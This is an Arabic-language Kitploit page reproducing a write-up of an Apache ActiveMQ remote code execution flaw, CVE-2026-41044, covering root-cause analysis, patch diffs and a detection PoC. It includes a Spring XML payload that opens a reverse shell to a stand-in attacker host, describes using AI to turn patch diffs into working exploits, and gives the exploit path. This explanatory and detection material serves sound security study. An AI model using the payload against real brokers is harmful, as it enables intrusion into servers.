Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-41044 — # شرح تعليمي وإثبات مفهوم لثغرة CVE-2026-41044، وهي ثغرة تنفيذ كود عن بُعد (RCE) في Apache ActiveMQ، مع تحليل السبب الجذري وسكربت كشف. | Kitploit
أدوات/GitHubGitHub/mrillicit/cve-2026-41044
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# شرح تعليمي وإثبات مفهوم لثغرة CVE-2026-41044، وهي ثغرة تنفيذ كود عن بُعد (RCE) في Apache ActiveMQ، مع تحليل السبب الجذري وسكربت كشف.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-41044

ملاحظة: لأغراض تعليمية فقط

من النشرة إلى تحليل السبب الجذري في ظهيرة واحدة: كيف يختصر الذكاء الاصطناعي تحليل الثغرات القديمة

شرح موجز وصادق لـ CVE-2026-41044 في Apache ActiveMQ باستخدام الكود الدقيق قبل وبعد التصحيح.


تم الكشف عن CVE-2026-41044 في 24 أبريل 2026. وهي ثغرة تنفيذ كود عن بُعد في Apache ActiveMQ Classic، اكتشفها jsjcw، وتم تصحيحها في الإصدارين 5.19.6 و6.2.5. لم أكن أنا من اكتشفها.

ما أريد إظهاره هو كيف يمكن لشخص لم يتعامل مع ActiveMQ من قبل أن ينتج استغلالًا عمليًا لثغرة قديمة في ظهيرة واحدة، لأن الكود المُصحح متاح للعموم، والكود غير المُصحح متاح للعموم، والفجوة بينهما لا تتعدى git diff.


الجزء الأول: سير العمل

العملية بسيطة:

  1. اقرأ النشرة، ولاحظ الملفات المتأثرة، وCWE، وأي أسماء دوال مذكورة.
  2. قارن بين آخر إصدار ثغري وأول إصدار مُصحح جنبًا إلى جنب.
  • اطلب من نموذج ذكاء اصطناعي مقارنة الملفات ذات الصلة وشرح كل تغيير.
  • أعد إنتاج سلسلة الاستغلال في بيئة محلية واختبرها من البداية إلى النهاية.
  • ما كان يستغرق أيامًا أصبح الآن يستغرق ظهيرة واحدة. الذكاء الاصطناعي لا يكتشف الثغرات. إنه يقرأ الكود ويشرحه بسرعة طرحك للأسئلة. الجزء المكلف ما زال عليك أنت: تحديد ما هو قابل للاستغلال فعليًا، وأين تقع حدود الثقة الحقيقية، وما يحتاج إلى تحقق. النموذج فقط يتنقل عبر مخططات الاستدعاء أسرع من أي إنسان.

    النقطة الأكبر: إذا كان سير عمل التصحيح لديك يفترض أسبوعًا من التحليل لكل CVE، فأنت على الجدول الزمني القديم. git diff بنفس الطول سواء كنت تكتب كشفًا أو استغلالًا.


    الجزء الثاني: CVE-2026-41044

    ما هو ActiveMQ؟

    ActiveMQ هو وسيط رسائل. يجلس في المنتصف ويمرر الرسائل بين التطبيقات. فكر فيه كمكتب بريد: التطبيقات تودع الرسائل، وActiveMQ يوصلها إلى المستلم الصحيح. وهو منتشر على نطاق واسع في البيئات المؤسسية القائمة على Java، ويعرض وحدة تحكم ويب وواجهة REST للإدارة تسمى Jolokia على /api/jolokia/. بيانات الاعتماد الافتراضية في العديد من النشرات ما زالت admin:admin.


    الثغرة في جملة واحدة

    سمح ActiveMQ لأي مستخدم مُصادق بتحميل إعدادات الوسيط من عنوان HTTP عشوائي، والتي يقوم Spring بتحليلها وتنفيذها فورًا ككائنات Java - بما في ذلك ProcessBuilder - مما يمنح المهاجم تنفيذ أوامر كامل على نظام تشغيل خادم الوسيط.


    الخلفية: المصطلحات التي تحتاجها

    • Broker: خادم ActiveMQ قيد التشغيل. يُعرَّف باسم، الافتراضي localhost.
    • Jolokia: جسر HTTP-to-JMX على /api/jolokia/ يعرض عمليات الإدارة كواجهة REST API. أي بيانات اعتماد صالحة لوحدة التحكم تصل إليه - وليس فقط المسؤول.
    • نقل vm://: النقل داخل العملية المستخدم عندما يعيش العميل في نفس JVM الخاص بالوسيط. يقبل معامل استعلام ?brokerConfig= يشير إلى إعداد Spring XML لتهيئة وسيط منه.
    • xbean:: مخطط عنوان URL يخبر ActiveMQ بمعاملة العنوان كإعداد Spring XML وتحميله.
    • حبوب Spring / init-method: يقرأ Spring ملف XML وينشئ تلقائيًا كائنات Java (حبوب). تخبر سمة init-method Spring باستدعاء دالة على الحبة لحظة إنشائها - قبل تشغيل أي شيء آخر.
    • ProcessBuilder: فئة Java قياسية تنفذ أوامر نظام التشغيل. ProcessBuilder.start() تنفذ الأمر.

    السلسلة: خمس طبقات، كود حقيقي

    الطبقة 1 - DestinationView يبني عنوان URL عبر تسلسل النصوص

    DestinationView.sendTextMessage() في الإصدار 5.19.2 يبني عنوان اتصال الوسيط عبر تسلسل اسم الوسيط مباشرة في نص:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    إذا أعاد getBrokerName() القيمة localhost?brokerConfig=xbean:http://attacker/poison.xml، يصبح هذا النص بأكمله URI صالحًا لـ vm:// مع معامل استعلام مضمّن. يسلمه ActiveMQConnectionFactory إلى VMTransportFactory، الذي يرفع معامل brokerConfig ويستخدمه كعنوان إعداد تهيئة الوسيط.

    الإصلاح في 5.19.6 هو سطر واحد:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    يتحول String إلى URI - لم يعد التسلسل العرضي ممكنًا. القيمة تأتي من كائن URI مُنشأ مسبقًا وغير قابل للتغيير مشتق من موصل VM المسجل الفعلي للوسيط، وليس من نص اسم قابل للتغيير.


    الطبقة 2 - نقطة التسميم في RegionBroker

    لكي تكون الطبقة 1 قابلة للاستغلال، يجب تسميم اسم الوسيط أولًا. لطالما قام BrokerService بتعقيم أسماء الوسيط:

    root@kitploit:~
    // BrokerService.setBrokerName() - موجود في كلا الإصدارين
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    هذا التعبير النمطي يزيل ? و= بشكل نظيف. وُجدت الثغرة لأن RegionBroker كان لديه مُحدِّد منفصل خاص به لم يقم بذلك:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // قابل للتغيير
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // لا تحقق إطلاقًا
    }
    

    هذا مثال كلاسيكي على "الوكيل المشوش" - مُحدِّدان على فئات مترابطة، واحد فقط منهما يعقّم. نظير بعيد يبث حزمة BrokerInfo مصممة خصيصًا مع حقل اسم مسموم يصل مباشرة إلى RegionBroker.setBrokerName()، متجاوزًا تعبير BrokerService النمطي بالكامل.

    الإصلاح في 5.19.6 يحذف المُحدِّد، ويجعل الحقل final، ويهيئه مرة واحدة من الأصل المعقّم بالفعل:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // غير قابل للتغيير
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() لم يعد موجودًا. لا يوجد مُحدِّد بعد الآن.
    }
    

    لا يمكنك تجاوز أداة تعقيم لا يوجد لها كاتب موازٍ.


    الطبقة 3 - VMTransportFactory: لم يتغير عمدًا

    VMTransportFactory.doCompositeConnect() هي الدالة التي تأخذ URI بصيغة vm://...?brokerConfig=...، وترفع معامل brokerConfig، وتستدعي BrokerFactory.createBroker(brokerURI). إنها آلية التشغيل للسلسلة بأكملها.

    لم يغير Apache أي شيء هنا إطلاقًا.

    هذا الاختيار يخبرك بشيء عن طريقة تفكيرهم في الإصلاح. VMTransportFactory يقوم بعمل مشروع - نقل vm:// من المفترض فعليًا أن يقبل إعدادات التهيئة. تصحيحه كان سيكسر التصميم المقصود. بدلًا من ذلك، أصلح Apache الثغرة عند المصدر (الطبقة 2: لا يمكن كتابة اسم مسموم) وعند نقطة الاستهلاك (الطبقة 5: حتى لو وصل عنوان مسموم، لن يجلبه محلل الموارد).

    أصلح الطبقات التي ينتمي إليها التحقق، وليس الطبقة التي صادف أن المهاجم مرّ عبرها.


    الطبقة 4 - XBeanBrokerFactory يسلم URI إلى Spring

    root@kitploit:~
    // XBeanBrokerFactory - نفسه في كلا الإصدارين
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // الطبقة 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) هو المكان الذي يقوم فيه Spring بعمله - كل init-method للحبوب يعمل عند بناء السياق، قبل أن يتحقق BrokerService الخاص بـ ActiveMQ من النتيجة. لا يوجد تصحيح يمكن إجراؤه هنا. عقد Spring صحيح كما صُمم. الثغرة كانت أن ActiveMQ اعتمد على حدوث التحقق قبل الإنشاء، وSpring لا يعد بذلك الترتيب.


    الطبقة 5 - Utils.resourceFromString: الإصلاح البدائي الفعلي

    هذه هي الدالة التي قررت ما إذا كان يجب جلب xbean:http://attacker/poison.xml. في 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? لا تحقق.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    لا مرشح للبروتوكول. http://، https://، ftp://، jar:// - كلها مقبولة بصمت.

    إصلاح 5.19.6 يضيف قائمة سماح صريحة. فقط file وclasspath مسموحان افتراضيًا. كل شيء آخر يرمي استثناءً قبل إنشاء UrlResource:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // يرمي استثناءً إذا كان http/https/إلخ
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    الآن يمرر XBeanBrokerFactory {file, classpath} كقائمة السماح. حتى لو وصل اسم وسيط مسموم إلى هذه الدالة في إصدار مستقبلي، فإن http://attacker/poison.xml سيرمي استثناءً قبل أن يراه Spring.


    كيف يبدو حمولة الاستغلال

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    لحظة إنشاء Spring لـ ApplicationContext، يعمل init-method="start" على حبة ProcessBuilder. تحقق BrokerService.start() الخاص بـ ActiveMQ يعمل بعد ذلك. بحلول ذلك الوقت تكون الصدفة قد اتصلت بالخلف بالفعل.


    حول PoC والمسارين

    هناك طريقتان للوصول إلى نقطة الاستهلاك الثغرية Utils.resourceFromString:

    المسار الإنتاجي الكامل (ما تصفه النشرة):

    root@kitploit:~
    نظير بعيد يرسل حزمة BrokerInfo مصممة خصيصًا
      -> RegionBroker.setBrokerName() يخزن الاسم المسموم دون تحقق
        -> DestinationView.sendTextMessage() يسلسله في عنوان vm:// URL
          -> VMTransportFactory يرفع معامل brokerConfig
            -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    المسار القصير (ما يستخدمه poc.sh):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    يأخذ PoC المسار القصير لسبب عملي: المسار الكامل يتطلب إعداد وسيط ActiveMQ ثانٍ كنظير شبكة يرسل حزمة BrokerInfo مصممة خصيصًا إلى الهدف - تفاعل وسيط-إلى-وسيط يتطلب إعداد مختبر أكثر تعقيدًا. المسار القصير يعمل مع وسيط واحد وخادم HTTP أساسي.

    كلا المسارين يصلان إلى نفس البدائية الثغرية. يؤكد PoC أن نقطة الاستهلاك قابلة للاستغلال وأن الثغرة موجودة على الهدف. إذا أردت إعادة إنتاج نقطة الدخول الدقيقة الموصوفة في النشرة، فستحتاج إلى إضافة خطوة الوسيط-إلى-الوسيط.


    الكشف

    يعمل PoC في وضع الكشف فقط افتراضيًا. يفحص إشارتين:

    فحص اللافتة - يقرأ BrokerVersion عبر Jolokia:

    • < 5.19.6 أو 6.0.0 - 6.2.4 = نطاق ثغري

    فحص السلوك - يستدعي addNetworkConnector("vm://probe") عبر Jolokia:

    • الإصدار المُصحح (5.19.6+) يعيد: Transport scheme 'vm' is not allowed
    • الإصدار الثغري يعيد استثناء IOException من DiscoveryAgent scheme NOT recognized

    الرفض في الإصدار المُصحح يأتي من BrokerView.validateAllowedUrl() - قائمة حظر منفصلة أُضيفت مباشرة إلى عملية JMX الخاصة بـ addNetworkConnector في 5.19.6، وليس من Utils.resourceFromString. هذان إصلاحان مستقلان: أحدهما يحرس سطح إدارة JMX، والآخر يحرس بدائية تحميل الموارد الموصوفة في الطبقة 5. فحص السلوك يختبر الأول.


    ملخص الإصلاح

    الطبقةالثغرية (5.19.2)المُصححة (5.19.6)
    DestinationViewتسلسل نصي "vm://" + brokerNamebroker.getVmConnectorURI() URI غير قابل للتغيير
    RegionBrokerحقل قابل للتغيير، مُحدِّد غير معقّمحقل final، المُحدِّد محذوف، يُهيأ من الأصل المعقّم
    VMTransportFactoryلم يتغيرلم يتغير (بالتصميم)
    XBeanBrokerFactoryيستدعي Utils.resourceFromString(uri)يستدعي Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringيجلب أي مخطط عنوان URLقائمة سماح مفروضة - فقط file وclasspath افتراضيًا

    المراجع والإسناد

    • نشرة Apache: CVE-2026-41044
    • مُصحح في ActiveMQ Classic 5.19.6 و6.2.5
    • اكتشاف الثغرة: jsjcw
    • ثغرة شقيقة للسياق: CVE-2026-34197 (Horizon3.ai)
    • الكود في هذا المنشور تم التحقق منه مباشرة من أشجار المصدر 5.19.2 و5.19.6
    • بإشراف Varshit Modi، تم إنشاؤه بمساعدة الذكاء الاصطناعي.
    تنزيل الأداة